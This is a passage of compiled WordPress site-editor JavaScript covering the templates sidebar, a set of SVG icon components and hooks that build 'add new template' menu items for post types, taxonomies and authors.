} = unlock(external_wp_router_namespaceObject.privateApis);
const content_EMPTY_ARRAY = [];
function TemplateDataviewItem({
template,
isActive
}) {
const {
text,
icon
} = useAddedBy(template.type, template.id);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
to: (0,external_wp_url_namespaceObject.addQueryArgs)('/template', {
activeView: text
}),
icon: icon,
"aria-current": isActive,
children: text
});
}
function DataviewsTemplatesSidebarContent() {
const {
query: {
activeView = 'all'
}
} = content_useLocation();
const {
records
} = (0,external_wp_coreData_namespaceObject.useEntityRecords)('postType', TEMPLATE_POST_TYPE, {
per_page: -1
});
const firstItemPerAuthorText = (0,external_wp_element_namespaceObject.useMemo)(() => {
var _ref;
const firstItemPerAuthor = records?.reduce((acc, template) => {
const author = template.author_text;
if (author && !acc[author]) {
acc[author] = template;
}
return acc;
}, {});
return (_ref = firstItemPerAuthor && Object.values(firstItemPerAuthor)) !== null && _ref !== void 0 ? _ref : content_EMPTY_ARRAY;
}, [records]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
className: "edit-site-sidebar-navigation-screen-templates-browse",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
to: "/template",
icon: library_layout,
"aria-current": activeView === 'all',
children: (0,external_wp_i18n_namespaceObject.__)('All templates')
}), firstItemPerAuthorText.map(template => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplateDataviewItem, {
template: template,
isActive: activeView === template.author_text
}, template.author_text);
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-templates-browse/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function SidebarNavigationScreenTemplatesBrowse({
backPath
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
title: (0,external_wp_i18n_namespaceObject.__)('Templates'),
description: (0,external_wp_i18n_namespaceObject.__)('Create new templates, or reset any customizations made to the templates supplied by your theme.'),
backPath: backPath,
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsTemplatesSidebarContent, {})
});
}
;// ./node_modules/@wordpress/icons/build-module/library/home.js
/**
* WordPress dependencies
*/
const home = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z"
})
});
/* harmony default export */ const library_home = (home);
;// ./node_modules/@wordpress/icons/build-module/library/verse.js
/**
* WordPress dependencies
*/
const verse = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z"
})
});
/* harmony default export */ const library_verse = (verse);
;// ./node_modules/@wordpress/icons/build-module/library/pin.js
/**
* WordPress dependencies
*/
const pin = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "m21.5 9.1-6.6-6.6-4.2 5.6c-1.2-.1-2.4.1-3.6.7-.1 0-.1.1-.2.1-.5.3-.9.6-1.2.9l3.7 3.7-5.7 5.7v1.1h1.1l5.7-5.7 3.7 3.7c.4-.4.7-.8.9-1.2.1-.1.1-.2.2-.3.6-1.1.8-2.4.6-3.6l5.6-4.1zm-7.3 3.5.1.9c.1.9 0 1.8-.4 2.6l-6-6c.8-.4 1.7-.5 2.6-.4l.9.1L15 4.9 19.1 9l-4.9 3.6z"
})
});
/* harmony default export */ const library_pin = (pin);
;// ./node_modules/@wordpress/icons/build-module/library/archive.js
/**
* WordPress dependencies
*/
const archive = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "M11.934 7.406a1 1 0 0 0 .914.594H19a.5.5 0 0 1 .5.5v9a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5h5.764a.5.5 0 0 1 .447.276l.723 1.63Zm1.064-1.216a.5.5 0 0 0 .462.31H19a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h5.764a2 2 0 0 1 1.789 1.106l.445 1.084ZM8.5 10.5h7V12h-7v-1.5Zm7 3.5h-7v1.5h7V14Z"
})
});
/* harmony default export */ const library_archive = (archive);
;// ./node_modules/@wordpress/icons/build-module/library/not-found.js
/**
* WordPress dependencies
*/
const notFound = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm.5 12c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v10zm-11-7.6h-.7l-3.1 4.3h2.8V15h1v-1.3h.7v-.8h-.7V9.4zm-.9 3.5H6.3l1.2-1.7v1.7zm5.6-3.2c-.4-.2-.8-.4-1.2-.4-.5 0-.9.1-1.2.4-.4.2-.6.6-.8 1-.2.4-.3.9-.3 1.5s.1 1.1.3 1.6c.2.4.5.8.8 1 .4.2.8.4 1.2.4.5 0 .9-.1 1.2-.4.4-.2.6-.6.8-1 .2-.4.3-1 .3-1.6 0-.6-.1-1.1-.3-1.5-.1-.5-.4-.8-.8-1zm0 3.6c-.1.3-.3.5-.5.7-.2.1-.4.2-.7.2-.3 0-.5-.1-.7-.2-.2-.1-.4-.4-.5-.7-.1-.3-.2-.7-.2-1.2 0-.7.1-1.2.4-1.5.3-.3.6-.5 1-.5s.7.2 1 .5c.3.3.4.8.4 1.5-.1.5-.1.9-.2 1.2zm5-3.9h-.7l-3.1 4.3h2.8V15h1v-1.3h.7v-.8h-.7V9.4zm-1 3.5H16l1.2-1.7v1.7z"
})
});
/* harmony default export */ const not_found = (notFound);
;// ./node_modules/@wordpress/icons/build-module/library/list.js
/**
* WordPress dependencies
*/
const list = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M4 4v1.5h16V4H4zm8 8.5h8V11h-8v1.5zM4 20h16v-1.5H4V20zm4-8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2z"
})
});
/* harmony default export */ const library_list = (list);
;// ./node_modules/@wordpress/icons/build-module/library/block-meta.js
/**
* WordPress dependencies
*/
const blockMeta = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
d: "M8.95 11.25H4v1.5h4.95v4.5H13V18c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2h-3c-1.1 0-2 .9-2 2v.75h-2.55v-7.5H13V9c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3c-1.1 0-2 .9-2 2v.75H8.95v4.5ZM14.5 15v3c0 .3.2.5.5.5h3c.3 0 .5-.2.5-.5v-3c0-.3-.2-.5-.5-.5h-3c-.3 0-.5.2-.5.5Zm0-6V6c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3c0 .3-.2.5-.5.5h-3c-.3 0-.5-.2-.5-.5Z",
clipRule: "evenodd"
})
});
/* harmony default export */ const block_meta = (blockMeta);
;// ./node_modules/@wordpress/icons/build-module/library/calendar.js
/**
* WordPress dependencies
*/
const calendar = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z"
})
});
/* harmony default export */ const library_calendar = (calendar);
;// ./node_modules/@wordpress/icons/build-module/library/tag.js
/**
* WordPress dependencies
*/
const tag = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z"
})
});
/* harmony default export */ const library_tag = (tag);
;// ./node_modules/@wordpress/icons/build-module/library/media.js
/**
* WordPress dependencies
*/
const media = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "m7 6.5 4 2.5-4 2.5z"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z"
})]
});
/* harmony default export */ const library_media = (media);
;// ./node_modules/@wordpress/icons/build-module/library/post.js
/**
* WordPress dependencies
*/
const post_post = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z"
})
});
/* harmony default export */ const library_post = (post_post);
;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/utils.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const EMPTY_OBJECT = {};
/**
* @typedef IHasNameAndId
* @property {string|number} id The entity's id.
* @property {string} name The entity's name.
*/
const utils_getValueFromObjectPath = (object, path) => {
let value = object;
path.split('.').forEach(fieldName => {
value = value?.[fieldName];
});
return value;
};
/**
* Helper util to map records to add a `name` prop from a
* provided path, in order to handle all entities in the same
* fashion(implementing`IHasNameAndId` interface).
*
* @param {Object[]} entities The array of entities.
* @param {string} path The path to map a `name` property from the entity.
* @return {IHasNameAndId[]} An array of entities that now implement the `IHasNameAndId` interface.
*/
const mapToIHasNameAndId = (entities, path) => {
return (entities || []).map(entity => ({
...entity,
name: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(utils_getValueFromObjectPath(entity, path))
}));
};
/**
* @typedef {Object} EntitiesInfo
* @property {boolean} hasEntities If an entity has available records(posts, terms, etc..).
* @property {number[]} existingEntitiesIds An array of the existing entities ids.
*/
const useExistingTemplates = () => {
return (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', TEMPLATE_POST_TYPE, {
per_page: -1
}), []);
};
const useDefaultTemplateTypes = () => {
return (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_types || [], []);
};
const usePublicPostTypes = () => {
const postTypes = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getPostTypes({
per_page: -1
}), []);
return (0,external_wp_element_namespaceObject.useMemo)(() => {
const excludedPostTypes = ['attachment'];
return postTypes?.filter(({
viewable,
slug
}) => viewable && !excludedPostTypes.includes(slug));
}, [postTypes]);
};
const usePublicTaxonomies = () => {
const taxonomies = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getTaxonomies({
per_page: -1
}), []);
return (0,external_wp_element_namespaceObject.useMemo)(() => {
return taxonomies?.filter(({
visibility
}) => visibility?.publicly_queryable);
}, [taxonomies]);
};
function usePostTypeArchiveMenuItems() {
const publicPostTypes = usePublicPostTypes();
const postTypesWithArchives = (0,external_wp_element_namespaceObject.useMemo)(() => publicPostTypes?.filter(postType => postType.has_archive), [publicPostTypes]);
const existingTemplates = useExistingTemplates();
// We need to keep track of naming conflicts. If a conflict
// occurs, we need to add slug.
const postTypeLabels = (0,external_wp_element_namespaceObject.useMemo)(() => publicPostTypes?.reduce((accumulator, {
labels
}) => {
const singularName = labels.singular_name.toLowerCase();
accumulator[singularName] = (accumulator[singularName] || 0) + 1;
return accumulator;
}, {}), [publicPostTypes]);
const needsUniqueIdentifier = (0,external_wp_element_namespaceObject.useCallback)(({
labels,
slug
}) => {
const singularName = labels.singular_name.toLowerCase();
return postTypeLabels[singularName] > 1 && singularName !== slug;
}, [postTypeLabels]);
return (0,external_wp_element_namespaceObject.useMemo)(() => postTypesWithArchives?.filter(postType => !(existingTemplates || []).some(existingTemplate => existingTemplate.slug === 'archive-' + postType.slug)).map(postType => {
let title;
if (needsUniqueIdentifier(postType)) {
title = (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %1s: Name of the post type e.g: "Post"; %2s: Slug of the post type e.g: "book".
(0,external_wp_i18n_namespaceObject.__)('Archive: %1$s (%2$s)'), postType.labels.singular_name, postType.slug);
} else {
title = (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Name of the post type e.g: "Post".
(0,external_wp_i18n_namespaceObject.__)('Archive: %s'), postType.labels.singular_name);
}
return {
slug: 'archive-' + postType.slug,
description: (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Name of the post type e.g: "Post".
(0,external_wp_i18n_namespaceObject.__)('Displays an archive with the latest posts of type: %s.'), postType.labels.singular_name),
title,
// `icon` is the `menu_icon` property of a post type. We
// only handle `dashicons` for now, even if the `menu_icon`
// also supports urls and svg as values.
icon: typeof postType.icon === 'string' && postType.icon.startsWith('dashicons-') ? postType.icon.slice(10) : library_archive,
templatePrefix: 'archive'
};
}) || [], [postTypesWithArchives, existingTemplates, needsUniqueIdentifier]);
}
const usePostTypeMenuItems = onClickMenuItem => {
const publicPostTypes = usePublicPostTypes();
const existingTemplates = useExistingTemplates();
const defaultTemplateTypes = useDefaultTemplateTypes();
// We need to keep track of naming conflicts. If a conflict
// occurs, we need to add slug.
const templateLabels = (0,external_wp_element_namespaceObject.useMemo)(() => publicPostTypes?.reduce((accumulator, {
labels
}) => {
const templateName = (labels.template_name || labels.singular_name).toLowerCase();
accumulator[templateName] = (accumulator[templateName] || 0) + 1;
return accumulator;
}, {}), [publicPostTypes]);
const needsUniqueIdentifier = (0,external_wp_element_namespaceObject.useCallback)(({
labels,
slug
}) => {
const templateName = (labels.template_name || labels.singular_name).toLowerCase();
return templateLabels[templateName] > 1 && templateName !== slug;
}, [templateLabels]);
// `page`is a special case in template hierarchy.
const templatePrefixes = (0,external_wp_element_namespaceObject.useMemo)(() => publicPostTypes?.reduce((accumulator, {
slug
}) => {
let suffix = slug;
if (slug !== 'page') {
suffix = `single-${suffix}`;
}
accumulator[slug] = suffix;
return accumulator;
}, {}), [publicPostTypes]);
const postTypesInfo = useEntitiesInfo('postType', templatePrefixes);
const existingTemplateSlugs = (existingTemplates || []).map(({
slug
}) => slug);
const menuItems = (publicPostTypes || []).reduce((accumulator, postType) => {
const {
slug,
labels,
icon
} = postType;
// We need to check if the general template is part of the
// defaultTemplateTypes. If it is, just use that info and
// augment it with the specific template functionality.
const generalTemplateSlug = templatePrefixes[slug];
const defaultTemplateType = defaultTemplateTypes?.find(({
slug: _slug
}) => _slug === generalTemplateSlug);
const hasGeneralTemplate = existingTemplateSlugs?.includes(generalTemplateSlug);
const _needsUniqueIdentifier = needsUniqueIdentifier(postType);
let menuItemTitle = labels.template_name || (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Name of the post type e.g: "Post".
(0,external_wp_i18n_namespaceObject.__)('Single item: %s'), labels.singular_name);
if (_needsUniqueIdentifier) {
menuItemTitle = labels.template_name ? (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: 1: Name of the template e.g: "Single Item: Post". 2: Slug of the post type e.g: "book".
(0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'post type menu label'), labels.template_name, slug) : (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: 1: Name of the post type e.g: "Post". 2: Slug of the post type e.g: "book".
(0,external_wp_i18n_namespaceObject._x)('Single item: %1$s (%2$s)', 'post type menu label'), labels.singular_name, slug);
}
const menuItem = defaultTemplateType ? {
...defaultTemplateType,
templatePrefix: templatePrefixes[slug]
} : {
slug: generalTemplateSlug,
title: menuItemTitle,
description: (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Name of the post type e.g: "Post".
(0,external_wp_i18n_namespaceObject.__)('Displays a single item: %s.'), labels.singular_name),
// `icon` is the `menu_icon` property of a post type. We
// only handle `dashicons` for now, even if the `menu_icon`
// also supports urls and svg as values.
icon: typeof icon === 'string' && icon.startsWith('dashicons-') ? icon.slice(10) : library_post,
templatePrefix: templatePrefixes[slug]
};
const hasEntities = postTypesInfo?.[slug]?.hasEntities;
// We have a different template creation flow only if they have entities.
if (hasEntities) {
menuItem.onClick = template => {
onClickMenuItem({
type: 'postType',
slug,
config: {
recordNamePath: 'title.rendered',
queryArgs: ({
search
}) => {
return {
_fields: 'id,title,slug,link',
orderBy: search ? 'relevance' : 'modified',
exclude: postTypesInfo[slug].existingEntitiesIds
};
},
getSpecificTemplate: suggestion => {
const templateSlug = `${templatePrefixes[slug]}-${suggestion.slug}`;
return {
title: templateSlug,
slug: templateSlug,
templatePrefix: templatePrefixes[slug]
};
}
},
labels,
hasGeneralTemplate,
template
});
};
}
// We don't need to add the menu item if there are no
// entities and the general template exists.
if (!hasGeneralTemplate || hasEntities) {
accumulator.push(menuItem);
}
return accumulator;
}, []);
// Split menu items into two groups: one for the default post types
// and one for the rest.
const postTypesMenuItems = (0,external_wp_element_namespaceObject.useMemo)(() => menuItems.reduce((accumulator, postType) => {
const {
slug
} = postType;
let key = 'postTypesMenuItems';
if (slug === 'page') {
key = 'defaultPostTypesMenuItems';
}
accumulator[key].push(postType);
return accumulator;
}, {
defaultPostTypesMenuItems: [],
postTypesMenuItems: []
}), [menuItems]);
return postTypesMenuItems;
};
const useTaxonomiesMenuItems = onClickMenuItem => {
const publicTaxonomies = usePublicTaxonomies();
const existingTemplates = useExistingTemplates();
const defaultTemplateTypes = useDefaultTemplateTypes();
// `category` and `post_tag` are special cases in template hierarchy.
const templatePrefixes = (0,external_wp_element_namespaceObject.useMemo)(() => publicTaxonomies?.reduce((accumulator, {
slug
}) => {
let suffix = slug;
if (!['category', 'post_tag'].includes(slug)) {
suffix = `taxonomy-${suffix}`;
}
if (slug === 'post_tag') {
suffix = `tag`;
}
accumulator[slug] = suffix;
return accumulator;
}, {}), [publicTaxonomies]);
// We need to keep track of naming conflicts. If a conflict
// occurs, we need to add slug.
const taxonomyLabels = publicTaxonomies?.reduce((accumulator, {
labels
}) => {
const templateName = (labels.template_name || labels.singular_name).toLowerCase();
accumulator[templateName] = (accumulator[templateName] || 0) + 1;
return accumulator;
}, {});
const needsUniqueIdentifier = (labels, slug) => {
if (['category', 'post_tag'].includes(slug)) {
return false;
}
const templateName = (labels.template_name || labels.singular_name).toLowerCase();
return taxonomyLabels[templateName] > 1 && templateName !== slug;
};
const taxonomiesInfo = useEntitiesInfo('taxonomy', templatePrefixes);
const existingTemplateSlugs = (existingTemplates || []).map(({
slug
}) => slug);
const menuItems = (publicTaxonomies || []).reduce((accumulator, taxonomy) => {
const {
slug,
labels
} = taxonomy;
// We need to check if the general template is part of the
// defaultTemplateTypes. If it is, just use that info and
// augment it with the specific template functionality.
const generalTemplateSlug = templatePrefixes[slug];
const defaultTemplateType = defaultTemplateTypes?.find(({
slug: _slug
}) => _slug === generalTemplateSlug);
const hasGeneralTemplate = existingTemplateSlugs?.includes(generalTemplateSlug);
const _needsUniqueIdentifier = needsUniqueIdentifier(labels, slug);
let menuItemTitle = labels.template_name || labels.singular_name;
if (_needsUniqueIdentifier) {
menuItemTitle = labels.template_name ? (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: 1: Name of the template e.g: "Products by Category". 2s: Slug of the taxonomy e.g: "product_cat".
(0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'taxonomy template menu label'), labels.template_name, slug) : (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: 1: Name of the taxonomy e.g: "Category". 2: Slug of the taxonomy e.g: "product_cat".
(0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'taxonomy menu label'), labels.singular_name, slug);
}
const menuItem = defaultTemplateType ? {
...defaultTemplateType,
templatePrefix: templatePrefixes[slug]
} : {
slug: generalTemplateSlug,
title: menuItemTitle,
description: (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Name of the taxonomy e.g: "Product Categories".
(0,external_wp_i18n_namespaceObject.__)('Displays taxonomy: %s.'), labels.singular_name),
icon: block_meta,
templatePrefix: templatePrefixes[slug]
};
const hasEntities = taxonomiesInfo?.[slug]?.hasEntities;
// We have a different template creation flow only if they have entities.
if (hasEntities) {
menuItem.onClick = template => {
onClickMenuItem({
type: 'taxonomy',
slug,
config: {
queryArgs: ({
search
}) => {
return {
_fields: 'id,name,slug,link',
orderBy: search ? 'name' : 'count',
exclude: taxonomiesInfo[slug].existingEntitiesIds
};
},
getSpecificTemplate: suggestion => {
const templateSlug = `${templatePrefixes[slug]}-${suggestion.slug}`;
return {
title: templateSlug,
slug: templateSlug,
templatePrefix: templatePrefixes[slug]
};
}
},
labels,
hasGeneralTemplate,
template
});
};
}
// We don't need to add the menu item if there are no
// entities and the general template exists.
if (!hasGeneralTemplate || hasEntities) {
accumulator.push(menuItem);
}
return accumulator;
}, []);
// Split menu items into two groups: one for the default taxonomies
// and one for the rest.
const taxonomiesMenuItems = (0,external_wp_element_namespaceObject.useMemo)(() => menuItems.reduce((accumulator, taxonomy) => {
const {
slug
} = taxonomy;
let key = 'taxonomiesMenuItems';
if (['category', 'tag'].includes(slug)) {
key = 'defaultTaxonomiesMenuItems';
}
accumulator[key].push(taxonomy);
return accumulator;
}, {
defaultTaxonomiesMenuItems: [],
taxonomiesMenuItems: []
}), [menuItems]);
return taxonomiesMenuItems;
};
const USE_AUTHOR_MENU_ITEM_TEMPLATE_PREFIX = {
user: 'author'
};
const USE_AUTHOR_MENU_ITEM_QUERY_PARAMETERS = {
user: {
who: 'authors'
}
};
function useAuthorMenuItem(onClickMenuItem) {
const existingTemplates = useExistingTemplates();
const defaultTemplateTypes = useDefaultTemplateTypes();
const authorInfo = useEntitiesInfo('root', USE_AUTHOR_MENU_ITEM_TEMPLATE_PREFIX, USE_AUTHOR_MENU_ITEM_QUERY_PARAMETERS);
let authorMenuItem = defaultTemplateTypes?.find(({
slug
}) => slug === 'author');
if (!authorMenuItem) {
authorMenuItem = {
description: (0,external_wp_i18n_namespaceObject.__)('Displays latest posts written by a single author.'),
slug: 'author',
title: 'Author'
};
}
const hasGeneralTemplate = !!existingTemplates?.find(({
slug
}) => slug === 'author');
if (authorInfo.user?.hasEntities) {
authorMenuItem = {
...authorMenuItem,
templatePrefix: 'author'
};
authorMenuItem.onClick = template => {
onClickMenuItem({
type: 'root',
slug: 'user',
config: {
queryArgs: ({
search
}) => {
return {
_fields: 'id,name,slug,link',
orderBy: search ? 'name' : 'registered_date',
exclude: authorInfo.user.existingEntitiesIds,
who: 'authors'
};
},
getSpecificTemplate: suggestion => {
const templateSlug = `author-${suggestion.slug}`;
return {
title: templateSlug,
slug: templateSlug,
templatePrefix: 'author'
};
}
},
labels: {
singular_name: (0,external_wp_i18n_namespaceObject.__)('Author'),
search_items: (0,external_wp_i18n_namespaceObject.__)('Search Authors'),
not_found: (0,external_wp_i18n_namespaceObject.__)('No authors found.'),
all_items: (0,external_wp_i18n_namespaceObject.__)('All Authors')
},
hasGeneralTemplate,
template
});
};
}
if (!hasGeneralTemplate || authorInfo.user?.hasEntities) {
return authorMenuItem;
}
}
/**
* Helper hook that filters all the existing templates by the given
* object with the entity's slug as key and the template prefix as value.
*
* Example:
* `existingTemplates` is: [ { slug: 'tag-apple' }, { slug: 'page-about' }, { slug: 'tag' } ]
* `templatePrefixes` is: { post_tag: 'tag' }
* It will return: { post_tag: ['apple'] }
*
* Note: We append the `-` to the given template prefix in this function for our checks.
*
* @param {Record<string,string>} templatePrefixes An object with the entity's slug as key and the template prefix as value.
* @return {Record<string,string[]>} An object with the entity's slug as key and an array with the existing template slugs as value.
*/
const useExistingTemplateSlugs = templatePrefixes => {
const existingTemplates = useExistingTemplates();
const existingSlugs = (0,external_wp_element_namespaceObject.useMemo)(() => {
return Object.entries(templatePrefixes || {}).reduce((accumulator, [slug, prefix]) => {
const slugsWithTemplates = (existingTemplates || []).reduce((_accumulator, existingTemplate) => {
const _prefix = `${prefix}-`;
if (existingTemplate.slug.startsWith(_prefix)) {
_accumulator.push(existingTemplate.slug.substring(_prefix.length));
}
return _accumulator;
}, []);
if (slugsWithTemplates.length) {
accumulator[slug] = slugsWithTemplates;
}
return accumulator;
}, {});
}, [templatePrefixes, existingTemplates]);
return existingSlugs;
};
/**
* Helper hook that finds the existing records with an associated template,
* as they need to be excluded from the template suggestions.
*
* @param {string} entityName The entity's name.
* @param {Record<string,string>} templatePrefixes An object with the entity's slug as key and the template prefix as value.
* @param {Record<string,Object>} additionalQueryParameters An object with the entity's slug as key and additional query parameters as value.
